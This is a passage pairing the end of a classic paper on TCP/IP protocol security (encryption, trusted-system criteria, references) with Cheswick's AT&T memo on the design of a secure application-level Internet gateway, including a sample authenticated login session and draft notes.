number of entities that share a given key determines the
security of the network; typically, a key distribution
center will allocate keys to each pair of communicating
hosts.
Link-level encryption has some weaknesses, however.
Broadcast packets are difficult to secure; in the absence of
fast public-key cryptosystems, the ability to decode an
encrypted broadcast implies the ability to send such a
broadcast, impersonating any host on the network.
Furthermore, link-level encryption, by definition, is not
end-to-end; security of a conversation across gateways
implies trust in the gateways and assurance that the full
concatenated internet is similarly protected. (This latter
constraint may be enforced administratively, as is done in
the military sector.) If such constraints are not met,
tactics such as source-routing attacks or RIP-spoofing may
be employed. Paranoid gateways can be deployed at the
entrance to security domains; these might, for example,
block incoming RIP packets or source-routed packets.
Many portions of the DARPA Internet employ forms of link
encryption. All Defense Data Network (DDN) IMP-to-IMP
trunks use DES encryption, even for non-classified traffic;
classified lines use more secure cryptosystems[46]. These,
however, are point-to-point lines, which are comparatively
easy to protect.
A multi-point link encryption device for TCP/IP is the
Blacker Front End (BFE)[47]. The BFE looks to the host like
an X.25 DDN interface, and sits between the host and the
actual DDN line. When it receives a call request packet
specifying a new destination, it contacts an Access Control
Center (ACC) for permission, and a Key Distribution Center
(KDC) for cryptographic keys. If the local host is denied
permission to talk to the remote host, an appropriate
diagnostic code is returned. A special "Emergency Mode"
is available for communications to a restricted set of
destinations at times when the link to the KDC or ACC is not
working.
The permission-checking can, to some extent, protect against
the DNS attacks described earlier. Even if a host has been
mislead about the proper IP address for a particular
destination, the BFE will ensure that a totally unauthorized
host does not receive sensitive data. That is, assume that
a host wishes to send Top Secret data to some host foo. A
DNS attack might mislead the host into connecting to
penetrated host 4.0.0.4, rather than 1.0.0.1. If 4.0.0.4 is
not cleared for Top Secret material, or is not allowed
communications with the local host, the connection attempt
will fail. To be sure, a denial of service attack has taken
place; this, in the military world, is far less serious than
information loss.
The BFE also translates the original ("Red") IP address to
an encrypted ("Black") address, using a translation table
supplied by the ACC. This is done to foil traffic analysis
techniques, the bane of all multi-point link encryption
schemes.
End-to-end encryption, above the TCP level, may be used to
secure any conversation, regardless of the number of hops or
the quality of the links. This is probably appropriate for
centralized network management applications, or other
point-to-point transfers. Key distribution and management
is a greater problem, since there are more pairs of
correspondents involved. Furthermore, since encryption and
decryption are done before initiation or after termination
of the TCP processing, host-level software must arrange for
the translation; this implies extra overhead for each such
conversation10.
End-to-end encryption is vulnerable to denial of service
attacks, since fraudulently-injected packets can pass the
__________
10. We are assuming that TCP is handled by the host, and not
by a front-end processor.
TCP checksum tests and make it to the application. A
combination of end-to-end encryption and link-level
encryption can be employed to guard against this. An
intriguing alternative would be to encrypt the data portion
of the TCP segment, but not the header; the TCP checksum
would be calculated on the cleartext, and hence would detect
spurious packets. Unfortunately, such a change would be
incompatible with other implementations of TCP, and could
not be done transparently at application level.
Regardless of the method used, a major benefit of encrypted
communications is the implied authentication they provide.
If one assumes that the key distribution center is secure,
and the key distribution protocols are adequate, the very
ability to communicate carries with it a strong assurance
that one can trust the source host's IP address for
identification.
This implied authentication can be especially important in
high-threat situations. A routing attack can be used to
"take over" an existing connection; the intruder can
effectively cut the connection at the subverted machine,
send dangerous commands to the far end, and all the while
translate sequence numbers on packets passed through so as
to disguise the intrusion.
It should be noted, of course, that any of these encryption
schemes provide privacy. Often that is the primary goal of
such systems.
7.3 Trusted Systems
Given that TCP/IP is a Defense Department protocol suite, it
is worth asking to what extent the Orange Book[48] and Red
Book[49] criteria would protect a host from the attacks
described above. That is, suppose that a target host (and
the gateways!) were rated B1 or higher. Could these attacks
succeed? The answer is a complex one, and depends on the
assumptions we are willing to make. In general, hosts and
routers rated at B2 or higher are immune to the attacks
described here, while C2-level systems are susceptible.
B1-level systems are vulnerable to some of these attacks,
but not all.
In order to understand how TCP/IP is used in secure
environments, a brief tutorial on the military security
model is necessary. All objects in the computer system,
such as files or network channels, and all data exported
from them, must have a label indicating the sensitivity of
the information in them. This label includes hierarchical
components (i.e., Confidential, Secret, and Top Secret) and
non-hierarchical components. Subjects -- i.e., processes
within the computer system -- are similarly labeled. A
subject may read an object if its label has a higher or
equal hierarchical level and if all of the object's non-
hierarchical components are included in the subject's label.
In other words, the process must have sufficient clearance
for the information in a file. Similarly, a subject may
write to an object if the object has a higher or equal level
and the object's non-hierarchical components include all of
those in the subject's level. That is, the sensitivity
level of the file must be at least as high as that of the
process. If it were not, a program with a high clearance
could write classified data to a file that is readable by a
process with a low security clearance.
A corollary to this is that for read/write access to any
file, its security label must exactly match that of the
process. The same applies to any form of bidirectional
interprocess communication (i.e., a TCP virtual circuit):
both ends must have identical labels.
We can now see how to apply this model to the TCP/IP
protocol suite. When a process creates a TCP connection,
that connection is given the process's label. This label is
encoded in the IP security option. The remote TCP must
ensure that the label on received packets matches that of
the receiving process. Servers awaiting connections may be
eligible to run at multiple levels; when the connection is
instantiated, however, the process must be forced to the
level of the connection request packet.
IP also makes use of the security option[50]. A packet may
not be sent over a link with a lower clearance level. If a
link is rated for Secret traffic, it may carry Unclassified
or Confidential traffic, but it may not carry Top Secret
data. Thus, the security option constrains routing
decisions. The security level of a link depends on its
inherent characteristics, the strength of any encryption
algorithms used, the security levels of the hosts on that
network, and even the location of the facility. For
example, an Ethernet cable located in a submarine is much
more secure than if the same cable were running through a
dormitory room in a university.
Several points follow from these constraints. First, TCP-
level attacks can only achieve penetration at the level of
the attacker. That is, an attacker at the Unclassified
level could only achieve Unclassified privileges on the
target system, regardless of which network attack was
used11. Incoming packets with an invalid security marking
would be rejected by the gateways.
Attacks based on any form of source-address authentication
should be rejected as well. The Orange Book requires that
systems provide secure means of identification and
authentication; as we have shown, simple reliance on the IP
address is not adequate. As of the B1 level, authentication
information must be protected by cryptographic checksums
when transmitted from machine to machine12.
The authentication server is still problematic; it can be
spoofed by a sequence number attack, especially if netstat
is available. This sort of attack could easily be combined
with source routing for full interactive access. Again,
cryptographic checksums would add significant strength.
B1-level systems are not automatically immune from routing
attacks; RIP-spoofing could corrupt their routing tables
just as easily. As seen, that would allow an intruder to
capture passwords, perhaps even some used on other trusted
systems. To be sure, the initial penetration is still
restricted by the security labelling, but that may not block
future logins captured by these means.
Routing attacks can also be used for denial of service.
Specifically, if the route to a secure destination is
changed to require use of an insecure link, the two hosts
will not be able to communicate. This change would probably
be detected r
ather quickly, though, since the gateway that
noticed the misrouted packet would flag it as a security
problem.
At the B2 level, secure transmission of routing control
information is required. Similar requirements apply to
other network control information, such as ICMP packets.
__________
11. We are assuming, of course, that the penetrated system
does not have bugs of its own that would allow further
access.
12. More precisely, user identification information must be
protected to an equal extent with data sensitivity
labels. Under certain circumstances, described in the
Red Book, cryptographic checks may be omitted. In
general, though, they are required.
Several attacks we have described rely on data derived from
"information servers", such as netstat and finger. While
these, if carefully done, may not represent a direct
penetration threat in the civilian sense, they are often
seen to represent a covert channel that may be used to leak
information. Thus, many B-division systems do not implement
such servers.
In a practical sense, some of the technical features we have
described may not apply in the military world.
Administrative rules[51] tend to prohibit risky sorts of
interconnections; uncleared personnel are not likely to have
even indirect access to systems containing Top Secret data.
Such rules are, most likely, an accurate commentary on
anyone's ability to validate any computer system of non-
trivial size.
8. CONCLUSIONS
Several points are immediately obvious from this analysis.
The first, surely, is that in general, relying on the IP
source address for authentication is extremely dangerous13.
Fortunately, the Internet community is starting to accept
this on more than an intellectual level. The Berkeley
manuals[3] have always stated that the authentication
protocol was very weak, but it is only recently that serious
attempts (i.e., Kerberos[35] and SunOS 4.0's DES
authentication mode[52]) have been made to correct the
problem. Kerberos and SunOS 4.0 have their weaknesses, but
both are far better than their predecessor. More recently,
an extension to the Network Time Protocol (NTP)[53] has been
proposed that includes a cryptographic checksum[54].
A second broad class of problems is sequence number attacks.
If a protocol depends on sequence numbers -- and most do --
it is vital that they be chosen unpredictably. It is worth
considerable effort to ensure that these numbers are not
knowable even to other users on the same system.
__________
13. There are some exceptions to this rule. If the entire
network, and all of its components (hosts, gateways,
cables, etc.) are physically protected, and if all of
the operating systems are sufficiently secure, there
would seem to be little risk.
We may generalize this by by stating that hosts should not
give away knowledge gratuitously. A finger server, for
example, would be much safer if it only supplied information
about a known user, rather than supplying information about
everyone logged on. Even then, some censorship might be
appropriate; a refusal to supply the last login date and
other sensitive information would be appropriate if the
account was not used recently. (Never-used accounts often
have simple default passwords. Infrequently-used accounts
are often set up less carefully by the owner.) We have also
seen how netstat may be abused; indeed, the combination of
netstat with the authentication server is the single
strongest attack using the standardized Internet protocols.
Finally, network control mechanisms are dangerous, and must
be carefully guarded. Static routes are not feasible in a
large-scale network, but intelligent use of default routes
and verifiable point-to-point routing protocols (i.e., EGP)
are far less vulnerable than broadcast-based routing.
9. ACKNOWLEDGEMENTS
Dave Presotto, Bob Gilligan, Gene Tsudik, and especially
Deborah Estrin made a number of useful suggestions and
corrections to a draft of this paper.
REFERENCES
1. E.J. Feinler, O.J. Jacobsen, M.K. Stahl, C.A. Ward, eds.
DDN Protocol Handbook. DDN Network Information Center,
SRI International, 1985.
2. Comer, D. Internetworking with TCP/IP: Principles,
Protocols, and Architecture. Prentice Hall, 1988
3. Computer Systems Research Group. UNIX User's Reference
Manual (URM). 4.3 Berkeley Software Distribution
Virtual Vax-11 Version. Computer Science Division,
Department of Electrical Engineering and Computer
Science, University of California, Berkeley. 1986.
4. Spafford, E.H. The Internet Worm Program: An Analysis.
Purdue Technical Report CSD-TR-823, Department of
Computer Sciences Purdue University, West Lafayette, IN.
1988
5. Seeley, D. A Tour of the Worm. Department of Computer
Science, University of Utah. 1988.
6. Eichin, M. and Rochlis, J. With Microscope and
Tweezers: An Analysis of the Internet Virus of November
1988. Massachussetts Institute of Technology, 1988.
7. Morris, R.T. 1985. A Weakness in the 4.2BSD UNIX
TCP/IP Software. Computing Science Technical Report No.
117, AT&T Bell Laboratories, Murray Hill, New Jersey.
8. Reynolds, J.K., and J. Postel. Assigned Numbers. RFC
990, 1986
9. Mills, D.L. Internet Delay Experiments, RFC 889, 1983.
10. Blum, M. and Micali, S. "How to Generate
Cryptographically Strong Sequences of Pseudo-Random
Bits". SIAM J Computing, vol. 13, no. 4, pp. 850-864,
Nov. 1984.
11. US Federal Information Processing Standards Publication
(FIPS PUB) 46, Data Encryption Standard, 15 January
1977.
12. US Federal Information Processing Standards Publication
(FIPS PUB) 81. DES Modes of Operation, 2 December 1980.
13. Bishop, M. An Application of a Fast Data Encryption
Standard Implementation. Technical Report PCS-TR88-138,
Department of Mathematics and Computer Science,
Dartmouth College, Hanover, NH. 1988.
14. Mogul, J. "Simple and Flexible Datagram Access
Controls for UNIX-based Gateways", Proceedings, Summer
USENIX, 1989, Baltimore, Maryland (to appear).
15. Hedrick, C. Routing Information Protocol. RFC 1058,
1988.
16. Mills, D.L. Exterior Gateway Protocol Formal
Specification. RFC 904, 1984.
17. Postel, J. Internet Control Message Protocol. RFC 792,
1981.
18. St. Johns, M. Authentication Server. RFC 931, 1985.
19. Defense Advanced Research Projects Agency, Internet
Activities Board. IAB Official Protocol Standards. RFC
1083, 1988
19. Postel, J. Private communication. 1989.
20. Needham, R.M. and Schroeder, M.D. "Using Encryption
for Authentication in Large Networks of Computers".
Communications of the ACM, vol. 21, no. 12, pp. 993-999,
December 1978.
21. Denning, D.E. and Sacco, G.M. "Timestamps in Key
Distribution Protocols", Communications of the ACM,
vol. 24, no. 8, pp. 533-536, August 1981.
22. Needham, R.M. and Schroeder, M.D. "Authentication
Revisited", Operating Systems Review, vol. 21, no. 1,
p. 7, January 1987.
23. Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977.
24. Grampp, F.T. and Morris, R.H. "UNIX Operating System
Security", AT&T Bell Laboratories Technical Journal,
vol. 63, no. 8, part 2, October, 1984.
25. Crocker, D. Standard for the Format of ARPA-Internet
Text Messages. RFC 822, 1982.
26. Postel, J. Simple Mail Transfer Protocol. RFC 821,
1982.
27. Linn, J. Privacy Enhancement for Internet Electronic
Mail: Part I: Message Encipherment and Authentication
Procedures. RFC 1040, 1988.
28. Butler, M.; Postel, J.B.; Chase, D.; Goldberger, J.;
Reynolds, J.K. Post Office Protocol - Version 2. RFC
937, 1985.
29. Diffie, W. "The First Ten Years of Public Key
Cryptography". Proc. IEEE, vol. 76, no. 5, pp. 560-
577, May 1988.
30. Rose, M. Post Office Protocol - Version 3. RFC 1081,
1988
31. Lambert, M.L. PCMAIL: A Distributed Mail System for
Personal Computers. RFC 1056, 1988
32. Mockapetris, P. Domain Names - Concepts and Facilities.
RFC 1034, 1987.
33. Mockapetris, P. Domain Names - Implementations and
Specifications. RFC 1035, 1987.
34. Dyer, S.P. "Hesiod", Proceedings, Winter USENIX,
1988, Dallas, Texas.
35. Steiner, J.G, Neuman, C., Schiller, J.I. "Kerberos: An
Authentication Service for Open Network Systems",
Proceedings, Winter USENIX, 1988, Dallas, Texas.
36. Postel, J. File Transfer Protocol. RFC 959, 1985.
37. Case, J., Fedor, M., Schoffstall, J., and Davin, J. A
Simple Network Management Protocol. RFC 1067, 1988.
38. McCloghrie, K. and Rose, M. Management Information Base
for Network Management of TCP/IP-based Internets. RFC
1066. 1988.
39. Finlayson, R.; Mann, T.; Mogul, J.; Theimer, M. Reverse
Address Resolution Protocol. RFC 903, 1984.
40. Sollins, K.R. The TFTP Protocol (Revision 2). RFC 783,
1981.
41. Croft, W.J.; Gilmore, J. Bootstrap Protocol. RFC 951,
1985.
42. Plummer, D.C. An Ethernet Address Resolution Protocol.
RFC 826, 1982.
43. Diffie, W. and Hellman, M.E. "New Directions in
Cryptography." IEEE Transactions on Information
Theory, vol. IT-22, no. 6, pp. 644-654.
44. Voydock, V.L. and Kent, S.T. "Security Mechanisms in
High-Level Network Protocols". ACM Computer Surveys,
vol. 15, no. 2, pp. 135-171, June 1983.
45. Davies, D.W. and Price, W.L. Security for Computer
Networks: An Introduction to Data Security in
Teleprocessing and Electronic Funds Transfer. Wiley.
1984.
46. Defense Communications Agency. Defense Data Network
Subscriber Security Guide. 1983.
47. "Blacker Front End Interface Control Document", in DDN
Protocol Handbook. DDN Network Information Center, SRI
International, vol. 1, 1985.
48. DoD Computer Security Center. DoD Trusted Computer
System Evaluation Criteria, 1983, CSC-STD-001-83.
49. National Computer Security Center. Trusted Network
Interpretation of the Trusted Computer System Evaluation
Criteria. NCSC-TG-005, Version 1, July 31, 1987.
50. St. Johns, M. Draft Revised IP Security Option. RFC
1038, 1988.
51. DoD Computer Security Center. Technical Rationale
Behind CSC-STD-003-85: Computer Security Requirements,
CSC-STD-004-83, 1983.
52. Taylor, B. and Goldberg, D. "Secure Networking in the
Sun Environment". Proceedings, Summer USENIX, 1986,
Atlanta, Georgia.
53. Mills, D.L. Network Time Protocol (Version 1)
Specification and Implementation. RFC 1059, 1988.
54. Mills, D.L. Mailing list message
<8901192354.aa03743@Huey.UDEL.EDU>, January 19, 1989.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
The Design of a Secure Internet Gateway
Bill Cheswick
10 September 1991
TECHNICAL MEMORANDUM
Abstract
--------
The Internet supports a vast and growing community of computer users
around the world.
Unfortunately, this network can provide anonymous access to this
community by unscrupulous, careless, or dangerous people.
On any given Internet there is a certain percentage of poorly-maintained
systems.
AT&T has a large internal
Internet that we wish to protect from outside attacks, while providing
useful services between the two.
This paper describes our Internet gateway. It is an application-level
gateway that passes mail and many of the common Internet services
between our internal machines and the Internet. This is accomplished
without IP connectivity using a pair of machines: a trusted internal
machine and an untrusted external gateway. These are connected by a private
link. The internal machine provides a few carefully-guarded services
to the external gateway. This configuration helps protect the internal
internet even if the external machine is fully compromised.
This is a slightly-updated version of the paper presented at the 1990
summer Usenix at Anaheim.
Introduction
------------
The design of a Corporate gateway to the Internet must deal with the
classical tradeoff between security and convenience. Most institutions
opt for convenience and use a simple router between their internal
internets and the rest of the world. This is dangerous.
Strangers on the Internet can reach and test every internal machine.
With workstations sitting on many desks, system administration is
often decentralized and neglected. Passwords are weak or missing.
A professor or researcher often may install the operating system
and forget it, leaving well-known security holes uncorrected.
For example, a sweep of 1,300 machines inside Bell Labs around
the time of the Internet Worm found over 300 that had at least one of
several known security holes.
When we first obtained a connection to the ARPAnet, Dave Presotto
configured our gateway machine (named arpa) as an application-level
gateway. For two years this machine was the sole official link
to the Internet for AT&T. Until its disconnection in 1989, this VAX 750 handled
all the Internet mail traffic and other services for the company.
Arpa had Ethernet connections to both the inside and outside Internets, just
like a router. It could also make and accept calls on our corporate Datakit
network.
Dave took a number of steps to make our gateway more secure.
He turned off IP forwarding in the kernel so packets could not
travel between the Internets. He installed a kernel modification
that limited TCP connections from arpa to the inside network to smtp, uucp,
named, and hostname ports. And he rejected the sendmail mailer as too
complicated and dangerous: the Upas [cite upas] mailer was installed
in its place. We removed a number of non-essential daemons, including the
finger server.
To give insiders access to the Internet, a gate service
was installed on arpa. Insiders could call this service and
supply an Internet address. The gate connected to a socket of a remote
Internet host and then copied bytes between the two connections. It was
easy to provide atelnet, a version of telnet that used the gate service.
Aftp supplied FTP services: it was the standard ftp modified so both the
command and data connections were initiated from the inside. (The standard
ftp would have tried to make the data connection from arpa to the inside, a
connection prohibited by arpa's kernel.)
This configuration successfully resisted the Internet worm. We ran neither
sendmail nor fingerd, the two programs exploited by the worm. [cite seeley] The
internal internet was spared the infection. (Actually, there was a second,
unguarded IP link to the Outside. We got lucky: only a few machines
at the other end knew of the link, and their machines were shut down
before the worm could creep across.)
Had arpa been infected, the worm could have reached the inside
machines. The initial smtp sendmail connection was permitted,
and the worm's second connection would have been initiated from the
inside target machine into arpa, the permitted direction.
The new gateway
--- --- -------
All of arpa's protection has, by design, left the internal AT&T machines
untested---a sort of crunchy shell around a soft, chewy center.
We run security scans on internal machines and bother system administrators
when holes are found. Still, it would be nice to have a gateway that is
demonstrably secure to protect the internal machines. For peace of mind,
the gateway design should not rely on vendors' code more than absolutely
necessary. We would like the internal machines protected even if an invader
breaks into the gateway machine, becomes root, and creates and runs a new
kernel.
We had to replace arpa. The VAX 750 ran with typical load averages of seven
to twelve jobs throughout the day. When the load average hit about
fifteen, the old Datakit driver expired, wedging the Datakit ports and
requiring a reboot.
A new machine gave the opportunity for a clean start.
We could re-think the security arrangements to improve on arpa's shortcomings.
Our new gateway machine, named inet, is a MIPS M/120 running RISC/OS,
a System V implementation with Berkeley enhancements. Various daemons and
critical programs have been obtained from other sources, checked,
and installed.
We store nothing vital or secret on inet, since we assume that it may be
defeated in unforeseen ways. It does not run uucp---systems files and dialers
could fall into the wrong hands. There are few system administration accounts,
and user accounts are discouraged.
Inet is not used for other tasks.
It is backed up regularly, and scanned for unauthorized changes and
common system administration mistakes.
Though we don't trust inet, we protect it as much as we can.
Inet has a single Ethernet port which is connected to a router
on JVNCnet, our external regional network. It also has a connection to Datakit.
We have configured our Datakit controller to force all connections
from inet to a single internal machine, named r70.
R70 can redial, or splice connections to other internal machines. R70
provides a limited set of services to inet for reaching internal machines.
The list of services are:
1. connection to an approved machine's smtp port,
2. connection to a login or trusted-login Datakit destination
after passing a challenge-response test, and
3. connection to a logging service.
The key to the arrangement is a restricted channel from inet
to r70. This private channel was easily constructed using stock features of
our research Datakit controller. Other connection schemes could be implemented
using a simple multiplexed protocol over some back-to-back connection
between the machines, or a simple two-machine Ethernet would suffice.
If the last approach is used with TCP, the internal
machine must supply differing TCP services to its two Ethernet
interfaces. (I am not sure this is possible with stock commercial TCP
software. It wouldn't be too hard to modify inetd to do this.)
These functions do not load the internal machine too much;
it could have other uses like uucp, mail, or even normal user jobs.
But the services it provides the external machine are the key
to security, and must be protected well.
Outbound services
-------- --------
It is quite easy to implement most outbound services to the Internet.
Inet has a small program, named proxy (a descendant of arpa's
gate), that makes calls to the Internet on behalf of an inside machine
and relays bytes between the inside Datakit connection and the outside
Internet TCP connection. Proxy can also listen to a non-privileged socket
and report connections to an inside process. Several outbound services
are implemented using proxy, and more are easy to create.
In all cases, it appears to the remote Internet hosts that our gateway
machine is making the calls.
%%%% picture of a proxy call
Inet may be reached over the Datakit.
But how do internal machines reach inet over the Ethernet?
R70 responds to two IP addresses: its own, and an internal IP address for
inet. (Dave Presotto implemented this after a trivial change to the
Tenth Edition Research Unix connection server. [cite connection]
Calls to certain TCP ports on this internal IP address invoke dcon, a
program that simply relays the bytes between the TCP port
and Datakit connections on inet.
I have replaced the old aftp and atelnet with ptelnet and pftp. They work
in the same manner, but the new routines call a portable implementation of
ipcopen, a piece of the connection server. Ipcopen hides the details of
a connection (TCP sockets or Datakit), simplifying the application program.
For example:
ptelnet tcp!toucan
connects to machine toucan on our internet, and
ptelnet proxy!ernie.berkeley.edu
connects to ernie.berkeley.edu on the external Internet.
proxy! is the default.
The ipcopen implementation is not flawless:
some socket features such as out-of-band data and the urgent pointer
are missing because they are not supported by Datakit.
Ptelnet was stripped down to avoid these features.
%%%% figure of a proxy
Pftp provides FTP access in a similar manner. It is an updated
version of aftp from arpa. The ipcopen routines allow it to work over Datakit.
The proxy software is available
by anonymous FTP from toucan.zoo.att.com. The file is proxy.tar.Z.
% figure of pftp and ftp function
Outgoing mail is sent to inet via smtp over either Datakit or the
internal Internet. It is stored and forwarded from there. Upas
performs the mail gateway functions.
$ telnet research.att.com
Trying...
Connected to research.att.com.
Escape character is '^]'.
RISC/os (inet)
login: guard
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
All Rights Reserved
Security Authentication check
login: ches
Enter response code for 90902479: 818b71fe
Destination please: coma
OKYou have mail.
coma=; date
Tue Nov 14 10:52:37 EST 1989
coma=;
Eof
Connection closed by foreign host.
$
*A connection session through the guard.*
Inbound services
------- --------
We provide incoming login and mail service. For incoming file transfer,
inet provides an anonymous FTP service.
We do not trust our passwords to the Internet: it is too easy to eavesdrop
or steal packets. See [cite smb] for a discussion of these security problems.
Login service requires a hand-held authenticator (HHA). These are
calculator-sized devices that contain DES encryption and a manually-loaded
64-bit key. They cost about $60.
Inbound login service is provided through an authentication manager on
r70. A session is shown in figure [ref connect].
To connect, the following sequence occurs:
1. The Internet caller uses telnet to connect to research.att.com
inet via telnet. The login name is tt guard.
2. The tt guard login connects to the authentication manager on r70
over the Datakit. It spends the rest of the connection
relaying bytes between the two connections.
3. The authentication manager on r70 requests a login name.
4. R70 sends a random challenge number, which the caller supplies.
5. The user enters the challenge into his HHA.
6 The HHA encrypts the challenge using a pre-loaded DES key,
and displays the response.
7. The user types the response. He has three tries to
answer a challenge correctly, and is disconnected if he fails.
8. The authorization manager prompts for a Datakit destination.
9. When the user enters the destination, the manager sends a redial
request to the Datakit controller with the given destination and
a service of `dcon'. For machines that trust r70, the `dcon'
service bypasses further logins and avoids further passwords.
10. The redial request transfers the call, switching r70 out of
the connection. Connections for a TCP host are handed to rlogin.
Users may wish to trust the gate machine and so avoid typing any passwords
over the internet. TCP callers can put r70-mhbb.research.att.com in their
.rhosts file. For Datakit connections using the standard DKHOST software,
they can log in through the guard once using ptelnet, and then request the
destination area/exchange/host.authorize.t.
This will connect them to their own machine's authorization server,
which will prompt them for a login and password. Obviously, this
should be done from a secure terminal, and not from out on the
Internet.
(Both of these practices are dangerous. Do you really want to trust
r70? It is probably safer than entering passwords on some alien
workstation out on the Internet. We frown on user-level authentication in
general, preferring to have the system administrator make and support these
judgements.)
Each user requires a DES key, and keys have an expiration date.
The key file is stored on r70 in a file readable only by root.
This is unfortunate, and the file will probably move into an authentication
manager somewhere.
Inbound mail is delivered directly to inet.
Inet checks the destination. If it is a trusted machine (i.e. its
smtp is trusted), a connection request is sent to r70. If not,
the mail is relayed through an accessible internal machine.
R70 will permit connections only to trusted smtp implementations.
The list is short because most internal machines run sendmail.
% so why do we need inet? Why not a Cisco with inet on the inside?
%% The restricted list of known 112 smtps should be justified both from
%% a security standpoint and a practicality one -- some smtps (i.e.,
%% sendmail on sunos) have security bugs. Thus, the techniques used
%% to let logins through are not acceptable for mail.
% what about network file system connections into inet? Another hole?
%% You may want to have two public ftp directories, though I'm not certain
%% exactly how to set things up this way without giving out inet logins.
%% 'pub' is mode 555 or 755 not owned by ftp; it's used for 'blessed'
%% outgoing packages that we advertise for pickup. 'incoming' is mode 333
%% or 733 -- i.e., not readable from the outside. If you know the
%% file name, you can pick it up, but you can't snoop for stuff. This
%% avoids things like you putting a file in there for me, but a cracker
%% plants a horse before I get to it. I've recommended a similar scheme
%% to the Comp Centers; they like it so far.
%% How does ftpd work without running as root? On Berkeley systems
%% at least, it can't function without being root when talking to
%% a client that doesn't generate PORT commands.
Protecting INET
---------- ----
The preceding precautions might imply that we expect our gateway
to be compromised at some point. In fact, we are taking great pains
to protect the machine, including the usual good system administration
steps needed to secure any Unix system [cite ritchie]: directory and file
permissions are checked, backups performed regularly, etc.
We have taken some steps to avoid denial-of-service attacks.
For example, the logs, the spool directory, and the publically-accessible
FTP directory are each on separate file systems. If a stranger fills
the public FTP directory, there is still room for the logs.
Here are some other steps taken:
1. All the important executable files are periodically
checksummed and checked for changes.
2. Most user accounts do not have passwords to be checked. They
obtain permission to login based on the source of the call.
3. User accounts are discouraged.
4. Non-essential network daemons have been removed: we don't need
to trust them.
5. Inetd(8) handles all network connections. Certain modifications
allow telnetd, smtpd, and ftpd to run with reduced permissions:
[cite ritchie] inetd handles the privileged stuff.
6. There is extensive logging of network activity, including connection
and login attempts. Logs are stored forever on a WORM-based backup
system.
7. Since the network daemons are so important to the security of the machine,
we obtained the latest BSD versions and examined, modified, and
installed them.
Gateway alternatives
------- ------------
There are several much simpler alternatives for an Internet gateway.
The simplest is a router, which just lets the packets through. Some
routers, like Cisco's, provide packet filtering that can block various
types of access to an institution.
We did not choose the router. Though the filtering is quite good, it's
not clear whether a clever worm could get through the permitted ports.
Can we trust the router?
If telnet access is allowed from the outside, inside machines are exposed
to password-guessing attacks. If telnet access is not allowed, an alternative
is needed anyway, requiring additional provisions. The router does not
provide logging to detect invasion attempts. And mail gating must be
provided by a machine somewhere: it is unreasonable to expect each internal
machine to be configured to handle all the varieties of external mail
addressing.
Many Internet sites use a gateway machine like a Sun. These machines forward
IP packets in both directions, and provide a mail gateway service.
The packet flow is still dangerous, though filtering is available.
Many internal machines may trust the gate machine, leaving them further
exposed if the gate machine is compromised.
Performance
-----------
The mail throughput of the new gateway has been gratifying,
though a VAX 750 is an easy act to follow. In many cases,
we have had replies to cross-country mail return in less than a minute.
It sometimes seems that the mail must have bounced. Inet has little
else to do, and a MIPS M/120 is a fast machine.
Pftp transfers are fastest over Datakit, since they avoid the
dcon gateway in r70. File transfers range from 17 to 44 Kb/sec.
TCP transfers through r70 run at 9 to 16 Kb/sec. By comparison,
thinspace ftp on inet runs at about 60--90 Kb/sec.
Clearly, security has its costs. But these are top speeds. The limiting
factor is often the external net or host. The throughput seems adequate, and
there have been no complaints.
% ftp> get /vmunix /dev/null
% 200 PORT command okay.
% 150 Opening data connection for /vmunix (192.20.225.2,2242) (707584 bytes).
% 226 Transfer complete.
% 707584 bytes received in 15.834 seconds (43.64 Kbytes/s)
%
% 19505 bytes from pilot.njin.net:
% dk to inet: 1.1 sec 17.3 K/sec
% TCP to inet: 1.4 sec 13.6 K/sec
% dk to att-in: 13 sec 1.5 K/sec
%
% 17403 bytes from uunet.uu.net:
% dk to inet: .84 sec 20.2 K/sec
% TCP to inet: 1.9 sec 8.9 K/sec
% dk to att-in: 9.2 sec 1.8 K/sec
%
%
Conclusions
-----------
The new gateway achieves a useful balance of utility and
security. Most internal users seem to be happy with pftp and
ptelnet. Some have asked for talk, resolver service and other UDP-based
protocols. These could be provided with non-proxy services
on inet accessible through Datakit. Steve Bellovin has cooked up a
scheme to support X through the gateway. The security implications are
frightening.
There are certainly limits to our security. If r70 and inet are subverted,
the inside machines could be attacked.
Insiders can easily import trouble such as Trojan horses or programs
infected with viruses. Our best defense is continued scanning of internal
machines for security holes in case such a program gets loose.
There is now a second AT&T internet gateway [cite horton].
Its configuration is based on this work.
These two front doors provide reasonable security to an isolated
internal internet. But AT&T is a large company, so we keep a constant watch to
assure that no other links are made to the external Internet. A locked front
door is useless if the back wall of the house is missing.
The incoming guarded telnet service is not perfect. The remote telnet
may be insecure, and the TCP connection itself could be stolen after
login is complete. Most internal AT&T machines do not accept r70's
judgement that the user is valid, and require their own login passwords.
These passwords travel over the Internet in the clear.
Our solution does have some drawbacks.
We rely on two machines and Datakit to keep things working. This
yields three points of failure, while the simpler approaches have
(in some sense) only one point of failure. The use of TCP-level gateways
does lower throughput. Though most users seem to be content with the
pftp response, it would be nice to speed it up some. The uptime of this
service is measured in months, and the mail transit time in seconds or minutes.
This paper is not an invitation to come
test the security of our gateway.
It is management's policy to call the
authorities when intruders are detected.
Acknowledgements
----------------
Many people have contributed to the support of
these gateways. Steve Bellovin did most of the initial work to get arpa
talking to the ARPAnet and Datakit.
Dave Presotto has supplied much of the software and most
of the paranoia to provide a secure gateway. Howard Trickey implemented
earlier versions of ptelnet and pftp.
Dennis Ritchie has kept a watchful eye and stepped in when things broke.
Steve Bellovin and others have provided numerous suggestions and warnings
on various networking and security topics.
Jim McKie ported many useful Research Unix [cite V10] functions and the
INCON Datakit driver to our MIPS computers, making life much easier for me.
1. The box is completely reset.
Enter a code digit and press "Enter":
digit & hexadecimal encryption & "error"
0 & yes & yes
1 & yes & no
4 & no & yes
5 & no & no
Hexadecimal encryption provides slightly higher security,
but it is easy to mistake "6" and "b". In decimal
mode, the hexadecimal characters "a"--"c" and "d"--"f"
are mapped to "2" and "3" respectively. The guard software
accepts either answer. The error mode displays "error"
if an invalid PIN is entered. Five invalid entries will
reset the box to . If "error" is off, the SNK
provides an invalid encryption. We use mode 4.
2. Enter the DES key. The key consists of eight
8-bit bytes typed in octal. Press "Enter."
3. Enters a 4 to 16-digit PIN, followed by "Enter."
4. Re-enter the PIN, followed by "Enter."
